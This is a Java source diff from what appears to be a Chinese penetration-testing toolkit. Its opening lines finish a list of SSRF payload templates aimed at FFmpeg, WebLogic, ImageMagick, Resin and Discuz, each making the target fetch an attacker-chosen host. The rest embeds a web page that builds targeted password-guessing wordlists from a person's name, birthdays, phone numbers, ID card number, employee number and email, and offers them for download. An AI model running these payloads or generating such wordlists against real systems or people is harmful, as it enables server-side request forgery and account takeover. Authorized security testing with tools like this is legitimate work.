"\n" +
"FFMpeg插件:\n" +
"\n" +
"#EXTM3U\n" +
"#EXT-X-MEDIA-SEQUENCE:0\n" +
"#EXTINF:10.0,\n" +
"concat:http://"+text+"\n" +
"#EXT-X-ENDLIST\n" +
"\n" +
"Weblogic中间件:\n" +
"\n" +
"example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://"+text+"/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search\n" +
"\n" +
"ImageMagick插件:\n" +
"\n" +
"push graphic-context\n" +
"viewbox 0 0 640 480\n" +
"fill 'url(http://"+text+")'\n" +
"pop graphic-context\n" +
"\n" +
"Resin中间件:\n" +
"\n" +
"example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://"+text+"/ssrf\n" +
"\n" +
"Discuz社群:\n" +
"\n" +
"example.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://"+text+"/x.jpg[/img]&formhash=x";
textArea.setText(temp);
}
}

View File

@ -0,0 +1,640 @@
package com.sec421.controller.baseTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
public class DictionaryController {
public static final String HTML_CONTENT = "<!DOCTYPE html>\n" +
"<html lang=\"zh\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <style>\n" +
" html, body {\n" +
" margin: 0;\n" +
" padding: 0;\n" +
" }\n" +
" body {\n" +
" padding-bottom: 24px;\n" +
" }\n" +
" label {\n" +
" width: 100px;\n" +
" display: inline-block;\n" +
" text-align: right;\n" +
" font-size: 14px;\n" +
" color: #495060;\n" +
" padding: 10px 12px 10px 0;\n" +
" }\n" +
" label:empty {\n" +
" width: 0;\n" +
" }\n" +
" input {\n" +
" width: 200px;\n" +
" height: 24px;\n" +
" padding: 2px 6px;\n" +
" font-size: 12px;\n" +
" border: 1px solid #dddee1;\n" +
" border-radius: 4px;\n" +
" }\n" +
" input:hover,input:focus {\n" +
" border-color: #57a3f3;\n" +
" box-shadow: 0 0 0 2px #a0c3e7;\n" +
" }\n" +
" input:focus {\n" +
" outline: none;\n" +
" }\n" +
" [type='checkbox'] {\n" +
" display: none;\n" +
" }\n" +
" .switch {\n" +
" width: 40px;\n" +
" height: 20px;\n" +
" background: #F1F1F1;\n" +
" display: inline-block;\n" +
" border-radius: 20px;\n" +
" transition: background 0.4s;\n" +
" padding: 0;\n" +
" vertical-align: middle;\n" +
" cursor: pointer;\n" +
" }\n" +
" .switch > .ball {\n" +
" display: block;\n" +
" width: 16px;\n" +
" height: 16px;\n" +
" border-radius: 16px;\n" +
" background: #E9E9E9;\n" +
" border: 2px solid #d5d0d0;\n" +
" transition: all 0.4s;\n" +
"\n" +
" }\n" +
" [type='checkbox']:checked + label {\n" +
" background: #2d8cf0;\n" +
" }\n" +
" [type='checkbox']:checked + label > .ball {\n" +
" margin-left: 20px;\n" +
" }\n" +
" [type='checkbox']:active + label > .ball {\n" +
" width: 30px;\n" +
" margin-left: 10px;\n" +
" }\n" +
" input[type='button'] {\n" +
" background-color: #57a3f3;\n" +
" color: white;\n" +
" border: 1px solid #e4e5e7;\n" +
" box-shadow: unset;\n" +
" cursor: pointer;\n" +
" padding: 0 10px;\n" +
" height: 35px;\n" +
" font-size: 14px;\n" +
" }\n" +
" .alert-info {\n" +
" background-color: rgb(232,243,255);\n" +
" border: 1px solid transparent;\n" +
" display: flex;\n" +
" align-items: center;\n" +
" justify-content: flex-start;\n" +
" padding: 8px 15px;\n" +
" margin: 10px 48px;\n" +
" width: 800px;\n" +
" font-size: 14px;\n" +
" }\n" +
" .alert-icon {\n" +
" width: 1.1em;\n" +
" margin: 0 8px 0 0;\n" +
" color: rgb(22,93,255);\n" +
" vertical-align: middle;\n" +
" }\n" +
" .loading {\n" +
" position: fixed;\n" +
" top: 0;\n" +
" left: 0;\n" +
" width: 100vw;\n" +
" height: 100vh;\n" +
" display: flex;\n" +
" align-items: center;\n" +
" justify-content: center;\n" +
" padding-top: 0;\n" +
" background-color: rgba(0, 0, 0, 0.4);\n" +
" }\n" +
" .loading-bg {\n" +
" border-radius: 50%;\n" +
" border: 5px solid #d5d0d0;\n" +
" border-left: 5px solid rgb(22, 93, 255);\n" +
" animation: load 1.5s linear infinite;\n" +
" width: 50px;\n" +
" height: 50px;\n" +
" }\n" +
"\n" +
" @keyframes load {\n" +
" from {\n" +
" transform: rotate(0deg);\n" +
" }\n" +
" to {\n" +
" transform: rotate(360deg);\n" +
" }\n" +
" }\n" +
" .nav-item {\n" +
" height: 100%;\n" +
" cursor: pointer;\n" +
" z-index: 1;\n" +
" }\n" +
" .nav-item>:first-child {\n" +
" line-height: 50px;\n" +
" padding: 0 15px;\n" +
" }\n" +
" .nav-item a {\n" +
" text-align: center;\n" +
" color: unset;\n" +
" text-decoration: unset;\n" +
" }\n" +
" .nav-item:hover, .nav-item .nav-item-box li:hover {\n" +
" background-color: #57a3f3;\n" +
" }\n" +
" .nav-item .nav-item-box {\n" +
" max-height: 0;\n" +
" transition: max-height 0.5s;\n" +
" overflow: hidden;\n" +
" }\n" +
" .nav-item:hover .nav-item-box {\n" +
" max-height: 2000px;\n" +
" }\n" +
" .nav-item .nav-item-box ul {\n" +
" background-color: #495060;\n" +
" margin: 0;\n" +
" padding: 0;\n" +
" }\n" +
" .nav-item .nav-item-box li {\n" +
" padding: 5px;\n" +
" }\n" +
" </style>\n" +
" <script>\n" +
" function reset() {\n" +
" document.getElementById('first_name').value = '';\n" +
" document.getElementById('second_name').value = '';\n" +
" document.getElementById('third_name').value = '';\n" +
" document.getElementById('birthday').value = '';\n" +
" document.getElementById('birthday2').value = '';\n" +
" document.getElementById('email').value = '';\n" +
" document.getElementById('mobile').value = '';\n" +
" document.getElementById('telephone').value = '';\n" +
" document.getElementById('username').value = '';\n" +
" document.getElementById('account').value = '';\n" +
" document.getElementById('organization').value = '';\n" +
" document.getElementById('company').value = '';\n" +
" document.getElementById('like_use').value = '';\n" +
" document.getElementById('id_card').value = '';\n" +
" document.getElementById('connector').value = '';\n" +
" document.getElementById('connector_left').checked = false;\n" +
" document.getElementById('connector_middle').checked = false;\n" +
" document.getElementById('connector_right').checked = false;\n" +
" document.getElementById('common').value = '123,888,666,000,111,aaa,abc,qaz,qwe,asd,zxc,!@#,1234,1qaz,qwer,asdf,zxcv,!@#$,1357,2468,0123,6789,6666,8888,12345,123456';\n" +
" document.getElementById('have_year').checked = false;\n" +
" document.getElementById('year').value = '';\n" +
" document.getElementById('number_filter').checked = false;\n" +
" document.getElementById('string_filter').checked = false;\n" +
" document.getElementById('long').value = 16;\n" +
" document.getElementById('short').value = 6;\n" +
" document.getElementById('capitalize').checked = true;\n" +
" document.getElementById('lowercase').checked = false;\n" +
" document.getElementById('uppercase').checked = false;\n" +
" document.getElementById('result').style.display='none';\n" +
" }\n" +
"\n" +
" /**\n" +
" * 得到字符串大写,包含原文,去空\n" +
" * @param l list,需要处理的字符串列表\n" +
" */\n" +
" function get_upper(l) {\n" +
" const upperPattern = new RegExp(\".*[a-z].*\");\n" +
" return l.concat(l.map(i=>upperPattern.test(i)?i.toUpperCase():'')).filter(Boolean);\n" +
" }\n" +
"\n" +
" /**\n" +
" * 得到字符串小写,包含原文,去空\n" +
" * @param l list,需要处理的字符串列表\n" +
" */\n" +
" function get_lower(l) {\n" +
" const lowerPattern = new RegExp(\".*[A-Z].*\");\n" +
" return l.concat(l.map(i=>lowerPattern.test(i)?i.toLowerCase():'')).filter(Boolean);\n" +
" }\n" +
"\n" +
" /**\n" +
" * 首字母大写,包含原文,去空\n" +
" * @param l list,需要处理的字符串列表\n" +
" */\n" +
" function get_capitalize(l) {\n" +
" const capitalizePattern = new RegExp(\"^[a-z].*\");\n" +
" return l.concat(l.map(i=>capitalizePattern.test(i)?i.replace(/( |^)[a-z]/g, (L) => L.toUpperCase()):'')).filter(Boolean);\n" +
" }\n" +
"\n" +
" /**\n" +
" * 去重去空后的列表\n" +
" * @param l list,需要处理的字符串列表\n" +
" */\n" +
" function get_distinct_list(l) {\n" +
" return Array.from(new Set(l)).filter(Boolean);\n" +
" }\n" +
"\n" +
" /**\n" +
" * 小于等于x位自动重复, 返回原文及重复后的列表组合,去空\n" +
" * @param l list,需要重复的列表\n" +
" * @param x int,小于等于此长度将自动重复\n" +
" */\n" +
" function get_repeat(l, x) {\n" +
" x = (typeof x === 'undefined') ? 3: x;\n" +
" const lr = l.map(i => (i.length > 0 && i.length <= x) ? i+i: '');\n" +
" return l.concat(lr).filter(Boolean);\n" +
" }\n" +
"\n" +
" /**\n" +
" * 取密码前几位及后几位,包含原文,去空\n" +
" * @param s str, 需要处理的字符串\n" +
" * @param l int, 需要的长度,可输入任意数量\n" +
" */\n" +
" function get_head_tail(s, ...l) {\n" +
" return [s].concat(l.map(i=>s.length>i?[s.substring(0,i), s.substring(s.length-i)]:[]).reduce((a, b) => a.concat(b))).filter(Boolean);\n" +
" }\n" +
"\n" +
" /**\n" +
" * 列表去掉过长和过短\n" +
" * @param l list, 需要处理的字符串列表\n" +
" * @param start 最小长度\n" +
" * @param end 最大长度\n" +
" */\n" +
" function drop_short_long(l, start, end) {\n" +
" start = (typeof start === 'undefined') ? 6: start;\n" +
" end = (typeof end === 'undefined') ? 16: end;\n" +
" return l.filter(i=>((start ? i.length>=start : true) && (end ? i.length<=end : true)));\n" +
" }\n" +
"\n" +
" /**\n" +
" * 去掉纯字母或纯数字\n" +
" * @param l 需要处理的字符串列表\n" +
" * @param rtype 可选str或int\n" +
" */\n" +
" function drop_string_int(l, rtype) {\n" +
" if (['str', 'int'].indexOf(rtype) < 0) {\n" +
" return l;\n" +
" }\n" +
" const pattern = rtype === 'str' ? /^[a-zA-Z]*$/ : /^[0-9]*$/;\n" +
" return l.filter(i=>!pattern.test(i));\n" +
" }\n" +
"\n" +
" /**\n" +
" * 计算array的笛卡尔积相当于python中的itertools.product\n" +
" * calc_descartes([['2019', '2020'], ['白色', '灰色', '蓝色']]) => ['2019白色', '2019灰色', '2019蓝色', '2020白色', '2020灰色', '2020蓝色']\n" +
" * @param array\n" +
" */\n" +
" function calc_descartes(array) {\n" +
" if (array.length < 2) return array[0] || [];\n" +
" return array.reduce((total, currentValue) => {\n" +
" let res = [];\n" +
" total.forEach(t => {\n" +
" currentValue.forEach(cv => {\n" +
" res.push([t, cv]);\n" +
" })\n" +
" })\n" +
" return res;\n" +
" })\n" +
" }\n" +
"\n" +
" /**\n" +
" * 数组排列组合等于python中的itertools.permutationspermutations([1,2,3,4], 2) => [[1,2],[1,3],[1,4],[2,1],[2,3],[2,4],[3,1],[3,2],[3,4],[4,1],[4,2],[4,3]]\n" +
" * @param arr 源数组\n" +
" * @param size 选取元素的个数\n" +
" */\n" +
" function permutations(arr, size) {\n" +
" //定义数组保存结果\n" +
" let result = [];\n" +
"\n" +
" //selected数组包含已经选中的元素\n" +
" //arr数组包含未选中元素数组size表示还需选取元素的个数\n" +
" function _combine(selected, arr, size) {\n" +
" //如果size===0则一次组合完成存入result数组并返回\n" +
" if (size === 0) {\n" +
" result.push(selected);\n" +
" return;\n" +
" }\n" +
" //遍历所有可能选中的元素,遍历的次数为数组长度减去(size-1)\n" +
" for (let i = 0; i < arr.length; i++) {\n" +
" //复制数组避免对selected数组数据的更改\n" +
" let temp = selected.slice();\n" +
" temp.push(arr[i]);\n" +
" _combine(temp, arr.slice(0, i).concat(arr.slice(i + 1)), size - 1);\n" +
" }\n" +
" }\n" +
" _combine([], arr, size);\n" +
" return result;\n" +
" }\n" +
" function show_loading() {\n" +
" const loading = document.getElementById('loading');\n" +
" loading.style.display = 'block';\n" +
" }\n" +
" function hide_loading() {\n" +
" const loading = document.getElementById('loading');\n" +
" loading.style.display = 'none';\n" +
" }\n" +
"\n" +
" function main() {\n" +
" show_loading();\n" +
" setTimeout(() => {\n" +
" const start_time = new Date().getTime();\n" +
" const pass_list = generate();\n" +
"\n" +
" const pass_first_length = document.getElementById('pass_first_length');\n" +
" const pass_first_text = document.getElementById('pass_first_text');\n" +
" const pass_second_length = document.getElementById('pass_second_length');\n" +
" const pass_second_text = document.getElementById('pass_second_text');\n" +
" const pass_third_length = document.getElementById('pass_third_length');\n" +
" const pass_third_text = document.getElementById('pass_third_text');\n" +
" const pass_all_length = document.getElementById('pass_all_length');\n" +
" const pass_all_text = document.getElementById('pass_all_text');\n" +
" const result = document.getElementById('result');\n" +
" pass_first_text.value=pass_list[0].join('\\n');\n" +
" pass_first_text.rows=pass_list[0].length;\n" +
" pass_first_length.innerText=pass_list[0].length.toString();\n" +
" pass_second_text.value=pass_list[1].join('\\n');\n" +
" pass_second_text.rows=pass_list[1].length;\n" +
" pass_second_length.innerText=pass_list[1].length.toString();\n" +
" pass_third_text.value=pass_list[2].join('\\n');\n" +
" pass_third_text.rows=pass_list[2].length;\n" +
" pass_third_length.innerText=pass_list[2].length.toString();\n" +
" let pass_all = pass_list.flat();\n" +
" pass_all_text.value=pass_all.join('\\n');\n" +
" pass_all_text.rows=pass_all.length;\n" +
" pass_all_length.innerText=pass_all.length.toString();\n" +
" result.style.display='flex';\n" +
"\n" +
" const end_time = new Date().getTime();\n" +
" console.log(`cost ${end_time - start_time}ms`)\n" +
"\n" +
" hide_loading();\n" +
" }, 0);\n" +
" }\n" +
"\n" +
" function download() {\n" +
" const list = generate().flat();\n" +
" console.log(list.length);\n" +
"\n" +
" const ele = document.createElement('a');\n" +
" ele.download = \"passwords.txt\";\n" +
" ele.style.display = \"none\";\n" +
"\n" +
" const blob = new Blob([list.join(\"\\n\")]);\n" +
" ele.href = URL.createObjectURL(blob);\n" +
" document.body.appendChild(ele);\n" +
" ele.click();\n" +
" document.body.removeChild(ele);\n" +
" }\n" +
"\n" +
" function generate() {\n" +
" const first_name = document.getElementById('first_name')['value'];\n" +
" const second_name = document.getElementById('second_name')['value'];\n" +
" const third_name = document.getElementById('third_name')['value'];\n" +
" const birthday = document.getElementById('birthday')['value'];\n" +
" const birthday2 = document.getElementById('birthday2')['value'];\n" +
" const email = document.getElementById('email')['value'];\n" +
" const mobile = document.getElementById('mobile')['value'];\n" +
" const telephone = document.getElementById('telephone')['value'];\n" +
" const username = document.getElementById('username')['value'];\n" +
" const account = document.getElementById('account')['value'];\n" +
" const organization = document.getElementById('organization')['value'];\n" +
" const company = document.getElementById('company')['value'];\n" +
" const like_use = document.getElementById('like_use')['value'];\n" +
" const id_card = document.getElementById('id_card')['value'];\n" +
" const work_no = document.getElementById('work_no')['value'];\n" +
" const connector = document.getElementById('connector')['value'].split('');\n" +
" const connector_left = document.getElementById('connector_left')['checked'];\n" +
" const connector_middle = document.getElementById('connector_middle')['checked'];\n" +
" const connector_right = document.getElementById('connector_right')['checked'];\n" +
" const common = document.getElementById('common')['value'];\n" +
" const have_year = document.getElementById('have_year')['checked'];\n" +
" const year = parseInt(document.getElementById('year')['value']);\n" +
" const number_filter = document.getElementById('number_filter')['checked'];\n" +
" const string_filter = document.getElementById('string_filter')['checked'];\n" +
" const long = parseInt(document.getElementById('long')['value']);\n" +
" const short = parseInt(document.getElementById('short')['value']);\n" +
" const capitalize = document.getElementById('capitalize')['checked'];\n" +
" const lowercase = document.getElementById('lowercase')['checked'];\n" +
" const uppercase = document.getElementById('uppercase')['checked'];\n" +
"\n" +
" const first_name_combine = /^[a-zA-Z0-9]+$/.test(first_name) ? get_repeat([first_name], 3) : [''];\n" +
" const last_name_combine = /^[a-zA-Z0-9]+$/.test(second_name + third_name) ? get_repeat([second_name + third_name], 3) : [''];\n" +
" let name_all = [first_name_combine[0] + last_name_combine[0], last_name_combine[0] + first_name_combine[0]];\n" +
" const last_name_a_b = second_name.substring(0, 1) + third_name.substring(0, 1);\n" +
" name_all = name_all.concat([first_name.substring(0, 1) + last_name_a_b, first_name_combine[0] + last_name_a_b, last_name_a_b + first_name.substring(0, 1), last_name_a_b + first_name_combine[0], first_name.substring(0, 1) + second_name + third_name, second_name + third_name, first_name]);\n" +
" name_all = name_all.concat(get_repeat(get_head_tail(username, 3, 4))).concat(get_repeat(get_head_tail(account, 3, 4)))\n" +
" name_all = get_distinct_list(name_all);\n" +
" console.log('name_all', name_all);\n" +
"\n" +
" let birthday_all = [];\n" +
" let b = birthday.replaceAll('-', '');\n" +
" let b2 = birthday2.replaceAll('-', '');\n" +
" birthday_all = birthday_all.concat(get_head_tail(b, 4)).concat(get_head_tail(b2, 4));\n" +
" birthday_all = birthday_all.concat(b.substring(4, 5) === '0' ? [b.substring(5, 8), b.substring(5, 8) + b.substring(5, 8)] : []);\n" +
" birthday_all = birthday_all.concat(b2.substring(4, 5) === '0' ? [b2.substring(5, 8), b2.substring(5, 8) + b2.substring(5, 8)] : []);\n" +
" birthday_all = get_distinct_list(birthday_all);\n" +
" console.log('birthday_all', birthday_all);\n" +
"\n" +
" const email_all = get_distinct_list([email].concat(get_repeat(get_head_tail(email.split('@')[0], 3, 4), 3)));\n" +
" console.log('email_all', email_all);\n" +
"\n" +
" let phone_all = get_distinct_list(get_repeat(get_head_tail(mobile, 3, 4, 5, 6)).concat(get_repeat(get_head_tail(telephone, 3, 4, 5, 6))));\n" +
" console.log('phone_all', phone_all);\n" +
"\n" +
" let id_card_all = id_card.length > 0 ? get_distinct_list(get_repeat(get_head_tail(id_card, 3, 4, 6, 8).concat(get_head_tail(id_card.substring(0, id_card.length - 1), 3, 4, 6, 8).slice(1)))) : [];\n" +
" console.log('id_card_all', id_card_all);\n" +
"\n" +
" let work_no_all = get_distinct_list(get_repeat(get_head_tail(work_no, 3, 4, 6, 8)));\n" +
" console.log('work_no_all', work_no_all);\n" +
"\n" +
" let org_all = get_distinct_list([organization, company].map(i => get_repeat(get_head_tail(i, 3, 4))).reduce((a, b) => a.concat(b)));\n" +
" console.log('org_all', org_all);\n" +
"\n" +
" let like_all = get_distinct_list(like_use.split(',').map(i => get_repeat(get_head_tail(i, 3, 4))).reduce((a, b) => a.concat(b)));\n" +
" console.log('like_all', like_all);\n" +
"\n" +
" let common_all = common.split(',');\n" +
" if (have_year) {\n" +
" Array.from(Array(year), (el, i) => common_all.push((new Date().getFullYear() - year + i).toString()));\n" +
" }\n" +
" console.log('common_all', common_all);\n" +
"\n" +
" let pass_list_all = [name_all, birthday_all, email_all, phone_all, id_card_all, work_no_all, org_all, like_all, common_all];\n" +
" let pass_first = pass_list_all.reduce((a, b) => a.concat(b));\n" +
" console.log('pass_first', pass_first);\n" +
"\n" +
" let pass_second = [];\n" +
" let pass_third = [];\n" +
"\n" +
" permutations(pass_list_all, 2).forEach(passArr => {\n" +
" let pass_combine = calc_descartes(passArr);\n" +
" pass_second = pass_second.concat(pass_combine.map(p=>p[0]+p[1]));\n" +
" pass_combine.forEach(p=>{\n" +
" connector.forEach(c=>{\n" +
" if (connector_left) {\n" +
" pass_third.push(c+p[0]+p[1]);\n" +
" }\n" +
" if (connector_middle) {\n" +
" pass_third.push(p[0]+c+p[1]);\n" +
" }\n" +
" if (connector_right) {\n" +
" pass_third.push(p[0]+p[1]+c);\n" +
" }\n" +
" });\n" +
" });\n" +
" });\n" +
"\n" +
" let pass_list = [pass_first, pass_second, pass_third];\n" +
" pass_list = pass_list.map(i => drop_short_long(i, short, long));\n" +
" if (number_filter) {\n" +
" pass_list = pass_list.map(i => drop_string_int(i, 'int'));\n" +
" }\n" +
" if (string_filter) {\n" +
" pass_list = pass_list.map(i => drop_string_int(i, 'str'));\n" +
" }\n" +
" if (capitalize) {\n" +
" pass_list = pass_list.map(i => get_capitalize(i));\n" +
" }\n" +
" if (lowercase) {\n" +
" pass_list = pass_list.map(i => get_lower(i));\n" +
" }\n" +
" if (uppercase) {\n" +
" pass_list = pass_list.map(i => get_upper(i));\n" +
" }\n" +
" pass_list = pass_list.map(i => get_distinct_list(i));\n" +
" return pass_list;\n" +
" }\n" +
"\n" +
" function copy(cid) {\n" +
" const textNode = document.getElementById(cid);\n" +
" textNode.select();\n" +
" document.execCommand(\"Copy\");\n" +
" textNode.blur();\n" +
" const notification = document.getElementById('notification');\n" +
" notification.style.right = '20px';\n" +
" notification.style.visibility = 'visible';\n" +
" notification.style.opacity = '1';\n" +
" setTimeout(()=>{\n" +
" notification.style.right = '-20px';\n" +
" notification.style.visibility = 'hidden';\n" +
" notification.style.opacity = '0';\n" +
" }, 3000)\n" +
" }\n" +
" </script>\n" +
"</head>\n" +
"<body>\n" +
"<div>\n" +
" <label for=\"first_name\">姓名</label><input type=\"text\" name=\"first_name\" id=\"first_name\" placeholder=\"请输入姓(英文)\" title=\"请输入姓(英文)\" />\n" +
" <label for=\"second_name\"></label><input type=\"text\" name=\"second_name\" id=\"second_name\" placeholder=\"请输入名的第一个字(英文)\" title=\"请输入名的第一个字(英文)\" />\n" +
" <label for=\"third_name\"></label><input type=\"text\" name=\"third_name\" id=\"third_name\" placeholder=\"请输入名的第二个字(如果有,英文)\" title=\"请输入名的第二个字(如果有,英文)\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"birthday\">生日</label><input type=\"date\" name=\"birthday\" id=\"birthday\" placeholder=\"公历生日\" title=\"公历生日\" />\n" +
" <label for=\"birthday2\"></label><input type=\"date\" name=\"birthday2\" id=\"birthday2\" placeholder=\"农历生日\" title=\"农历生日\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"email\">邮件</label><input type=\"email\" name=\"email\" id=\"email\" placeholder=\"请输入邮箱\" title=\"请输入邮箱\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"mobile\">电话</label><input type=\"tel\" name=\"mobile\" id=\"mobile\" placeholder=\"请输入座机号,不要-号\" title=\"请输入座机号,不要-号\" />\n" +
" <label for=\"telephone\"></label><input type=\"tel\" name=\"telephone\" id=\"telephone\" placeholder=\"请输入手机号\" title=\"请输入手机号\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"username\">用户名</label><input type=\"text\" name=\"username\" id=\"username\" placeholder=\"请输入用户名(英文)\" title=\"请输入用户名(英文)\" />\n" +
" <label for=\"account\"></label><input type=\"text\" name=\"account\" id=\"account\" placeholder=\"请输入用户账号\" title=\"请输入用户账号\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"organization\">组织</label><input type=\"text\" name=\"organization\" id=\"organization\" placeholder=\"请输入组织名(英文)\" title=\"请输入组织名(英文)\" />\n" +
" <label for=\"company\"></label><input type=\"text\" name=\"company\" id=\"company\" placeholder=\"请输入公司名(英文)\" title=\"请输入公司名(英文)\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"like_use\">短语</label><input type=\"text\" name=\"like_use\" id=\"like_use\" style=\"width: 320px;\" placeholder=\"请输入常用短语(英文),如iloveyou,多个用逗号分隔\" title=\"请输入常用短语(英文),如iloveyou,多个用逗号分隔\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"id_card\">身份证号</label><input type=\"text\" name=\"id_card\" id=\"id_card\" placeholder=\"请输入身份证号\" title=\"请输入身份证号\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"work_no\">工号</label><input type=\"text\" name=\"work_no\" id=\"work_no\" placeholder=\"请输入工号\" title=\"请输入工号\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"connector\">连接符</label>\n" +
" <label for=\"connector_left\" style=\"width: 30px;padding-right: 5px;\">左</label><input type=\"checkbox\" name=\"connector_left\" id=\"connector_left\" value=\"\"/><label class=\"switch\" for=\"connector_left\"><span class=\"ball\"></span></label>\n" +
" <label for=\"connector_middle\" style=\"width: 30px;padding-right: 5px;\">中</label><input type=\"checkbox\" name=\"connector_middle\" id=\"connector_middle\" value=\"\"/><label class=\"switch\" for=\"connector_middle\"><span class=\"ball\"></span></label>\n" +
" <label for=\"connector_right\" style=\"width: 30px;padding-right: 5px;\">右</label><input type=\"checkbox\" name=\"connector_right\" id=\"connector_right\" value=\"\"/><label class=\"switch\" for=\"connector_right\"><span class=\"ball\"></span></label>\n" +
" <input type=\"text\" name=\"connector\" id=\"connector\" style=\"width: 500px;\" placeholder=\"请输入连接符(如.!_-#@:$&*~?%+=/|),尽量减少,否则会极大增加密码数量\" title=\"请输入连接符(如.!_-#@:$&*~?%+=/|),尽量减少,否则会极大增加密码数量\" />\n" +
" <span title=\"连接符用于连接两条信息. 如姓zhang且生日为0229,用@在中间连接则为zhang@0229\" style=\"cursor: help\"><svg class=\"alert-icon\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" stroke=\"currentColor\" stroke-width=\"4\" stroke-linecap=\"butt\" stroke-linejoin=\"miter\"><path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M24 44c11.046 0 20-8.954 20-20S35.046 4 24 4 4 12.954 4 24s8.954 20 20 20Zm-3.862-24.021a.461.461 0 0 0 .462-.462 2.37 2.37 0 0 1 .636-1.615C21.64 17.48 22.43 17 23.988 17c1.465 0 2.483.7 3.002 1.493.555.848.446 1.559.182 1.914-.328.444-.736.853-1.228 1.296-.15.135-.335.296-.533.468-.354.308-.75.654-1.067.955C23.22 24.195 22 25.686 22 28v.013a1 1 0 0 0 1.006.993l2.008-.012a.993.993 0 0 0 .986-1c.002-.683.282-1.19 1.101-1.97.276-.262.523-.477.806-.722.21-.18.439-.379.713-.626.57-.513 1.205-1.13 1.767-1.888 1.516-2.047 1.161-4.634-.05-6.485C29.092 14.398 26.825 13 23.988 13c-2.454 0-4.357.794-5.642 2.137-1.25 1.307-1.742 2.954-1.746 4.37 0 .26.21.472.47.472h3.068Zm1.868 14.029a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V32a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v2.008Z\" fill=\"currentColor\" stroke=\"none\"></path></svg></span>\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"common\">常用词组</label><input type=\"text\" name=\"common\" id=\"common\" style=\"width: 800px;\" value=\"123,888,666,000,111,aaa,abc,qaz,qwe,asd,zxc,!@#,1234,1qaz,qwer,asdf,zxcv,!@#$,1357,2468,0123,6789,6666,8888,12345,123456\" placeholder=\"请输入常用词组,如123456,abcd等多个用逗号分隔\" title=\"请输入常用词组,如123456,abcd等多个用逗号分隔\" />\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"have_year\">最近年份</label><input type=\"checkbox\" name=\"have_year\" id=\"have_year\"/><label class=\"switch\" for=\"have_year\"><span class=\"ball\"></span></label>\n" +
" <label for=\"year\" style=\"display: none\"></label><input type=\"number\" name=\"year\" id=\"year\" style=\"width: 100px;\" placeholder=\"最近几年的年份,如果要特定年份可以输入到常用词组中\" title=\"最近几年的年份,如果要特定年份可以输入到常用词组中\" value=\"10\"/>\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"number_filter\">去掉纯数字</label><input type=\"checkbox\" name=\"number_filter\" id=\"number_filter\"/><label class=\"switch\" for=\"number_filter\"><span class=\"ball\"></span></label>\n" +
"</div>\n" +
"<div>\n" +
" <label for=\"string_filter\">去掉纯字母</label><input type=\"checkbox\" name=\"string_filter\" id=\"string_filter\"/><label class=\"switch\" for=\"string_filter\"><span class=\"ball\"></span></label>\n" +
"</div>\n" +
"<div>\n" +
" <label>长度</label>\n" +
" <label for=\"short\" style=\"width: 80px;padding-right: 5px;\">不能小于</label><input type=\"number\" name=\"short\" id=\"short\" style=\"width: 100px;\" placeholder=\"请输入最小长度, 0为忽略\" title=\"请输入最小长度, 0为忽略\" value=\"6\" />\n" +
" <label for=\"long\" style=\"width: 60px;padding-right: 5px;\">不能大于</label><input type=\"number\" name=\"long\" id=\"long\" style=\"width: 100px;\" placeholder=\"请输入最大长度, 0为忽略\" title=\"请输入最大长度, 0为忽略\" value=\"16\" />\n" +
"</div>\n" +
"<div>\n" +
" <label>大小写</label>\n" +
" <label for=\"capitalize\" style=\"width: 80px;padding-right: 5px;\">首字母大写</label><input type=\"checkbox\" checked=\"checked\" name=\"capitalize\" id=\"capitalize\" value=\"首字母大写\"/><label class=\"switch\" for=\"capitalize\"><span class=\"ball\"></span></label>\n" +
" <label for=\"lowercase\" style=\"width: 50px;padding-right: 5px;\">全小写</label><input type=\"checkbox\" name=\"lowercase\" id=\"lowercase\" value=\"全小写\"/><label class=\"switch\" for=\"lowercase\"><span class=\"ball\"></span></label>\n" +
" <label for=\"uppercase\" style=\"width: 50px;padding-right: 5px;\">全大写</label><input type=\"checkbox\" name=\"uppercase\" id=\"uppercase\" value=\"全大写\"/><label class=\"switch\" for=\"uppercase\"><span class=\"ball\"></span></label>\n" +
"</div>\n" +
"<div style=\"margin: 20px 0 0 50px;\">\n" +
" <label for=\"generate\"></label><input type=\"button\" name=\"generate\" id=\"generate\" value=\"生成密码\" onclick=\"main()\" />\n" +
" <label for=\"reset\"></label><input type=\"button\" name=\"reset\" id=\"reset\" value=\"重置\" onclick=\"reset()\"/>\n" +
" <label for=\"download\"></label><input type=\"button\" name=\"download\" id=\"download\" value=\"下载\" onclick=\"download()\"/>\n" +
"</div>\n" +
"<div style=\"margin-top: 50px;display: none;\" id=\"result\">\n" +
" <div style=\"width: 350px;text-align: center;\">\n" +
" <div style=\"margin-bottom: 10px;\">\n" +
" <span>单项信息密码-<span id=\"pass_first_length\"></span>个</span>\n" +
" <input type=\"button\" name=\"pass_first_copy\" id=\"pass_first_copy\" value=\"复制\" style=\"width: 50px;height: 20px;\" onclick=\"copy('pass_first_text')\" />\n" +
" </div>\n" +
" <label for=\"pass_first_text\" style=\"display: none\"></label><textarea id=\"pass_first_text\" cols=\"25\"></textarea>\n" +
" </div>\n" +
" <div style=\"width: 350px;text-align: center;\">\n" +
" <div style=\"margin-bottom: 10px;\">\n" +
" <span>两项信息密码-<span id=\"pass_second_length\"></span>个</span>\n" +
